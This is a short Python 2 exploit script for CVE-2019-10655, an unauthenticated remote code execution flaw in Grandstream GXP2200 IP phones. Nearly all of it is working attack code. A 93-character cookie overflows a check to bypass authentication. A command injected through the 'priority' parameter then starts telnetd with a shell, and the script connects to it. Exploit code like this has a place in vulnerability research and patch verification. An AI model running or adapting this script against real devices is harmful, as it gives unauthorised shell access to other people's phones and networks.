#!/usr/bin/env python2
"""
CVE-2019-10655: Grandstream - GXP2200 (IP Phone) Unauthenticated RCE
Author: Brendan Scarvell
Vulnerable versions: < 1.0.3.27 (End of Life)

A command injection vulnerability exists in the `priority` parameter.
Additionally, supplying 93 characters in the "phonecookie" cookie overwrites
the return value of the valid_connection() function, bypassing authentication.
"""
import sys, urllib2, os, base64, time

if len(sys.argv) == 1:
    print "Usage: {} <host> <port -- default: 80>".format(sys.argv[0])
    sys.exit()

HOST = sys.argv[1]
port = 80 if len(sys.argv) < 3 else sys.argv[2]


payload = "telnetd$IFS-lsh"

# Buffer overflow to bypass auth
cookie = "phonecookie=\"{}\"".format("A"*93)

print "[*] Trying to run command.."

req = urllib2.Request('http://' + HOST + '/manager?action=getlogcat&tag=1&priority=D;'+payload)
req.add_header('Cookie', cookie)

res = urllib2.urlopen(req)
if 'Response=Success' not in res.read():
    print "[!] Exploit failed. Host may not be vulnerable"
else:
    print "[*] waiting.."
    time.sleep(2)
    os.system("telnet {}".format(HOST))
    print '[*] Finished.'
